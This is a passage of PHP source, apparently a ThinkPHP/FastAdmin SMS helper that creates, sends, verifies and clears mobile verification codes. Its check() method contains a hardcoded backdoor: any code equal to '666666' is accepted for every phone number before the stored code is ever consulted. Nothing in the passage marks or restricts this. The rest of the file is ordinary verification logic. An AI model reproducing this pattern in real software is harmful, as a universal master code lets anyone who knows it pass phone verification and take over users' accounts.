$mobile, 'event' => $event]) ->order('id', 'DESC') ->find(); Hook::listen('sms_get', $sms, null, true); return $sms ? $sms : null; } /** * 发送验证码 * * @param int $mobile 手机号 * @param int $code 验证码,为空时将自动生成4位数字 * @param string $event 事件 * @return boolean */ public static function send($mobile, $code = null, $event = 'default') { $code = is_null($code) ? Random::numeric(config('alisms.length')) : $code; $time = time(); $ip = request()->ip(); $sms = \app\common\model\Sms::create(['event' => $event, 'mobile' => $mobile, 'code' => $code, 'ip' => $ip, 'createtime' => $time]); $result = Hook::listen('sms_send', $sms, null, true); // $params['mobile'] = $mobile; // $params['code'] = $code; // $result = self::smsSend($params); if (!$result) { $sms->delete(); return false; } return true; } /** * 短信发送行为 * @param array $params 必须包含mobile,event,code * @return boolean */ public static function smsSend($params) { $config = config('alisms'); $alisms = new Alisms(); $result = $alisms->mobile($params['mobile']) ->template($config['template']) ->param(['code' => $params['code']]) ->send(); return $result; } /** * 发送通知 * * @param mixed $mobile 手机号,多个以,分隔 * @param string $msg 消息内容 * @param string $template 消息模板 * @return boolean */ public static function notice($mobile, $msg = '', $template = null) { $params = [ 'mobile' => $mobile, 'msg' => $msg, 'template' => $template ]; $result = Hook::listen('sms_notice', $params, null, true); return $result ? true : false; } /** * 校验验证码 * * @param int $mobile 手机号 * @param int $code 验证码 * @param string $event 事件 * @return boolean */ public static function check($mobile, $code, $event = 'default') { if ($code == '666666') { return true; } $time = time() - self::$expire; $sms = \app\common\model\Sms::where(['mobile' => $mobile, 'event' => $event]) ->order('id', 'DESC') ->find(); if ($sms) { if ($sms['createtime'] > $time && $sms['times'] <= self::$maxCheckNums) { $correct = $code == $sms['code']; if (!$correct) { $sms->times = $sms->times + 1; $sms->save(); return false; } else { $result = Hook::listen('sms_check', $sms, null, true); return $result; // return true; } } else { // 过期则清空该手机验证码 self::flush($mobile, $event); return false; } } else { return false; } } /** * 清空指定手机号验证码 * * @param int $mobile 手机号 * @param string $event 事件 * @return boolean */ public static function flush($mobile, $event = 'default') { \app\common\model\Sms:: where(['mobile' => $mobile, 'event' => $event]) ->delete(); Hook::listen('sms_flush'); return true; } }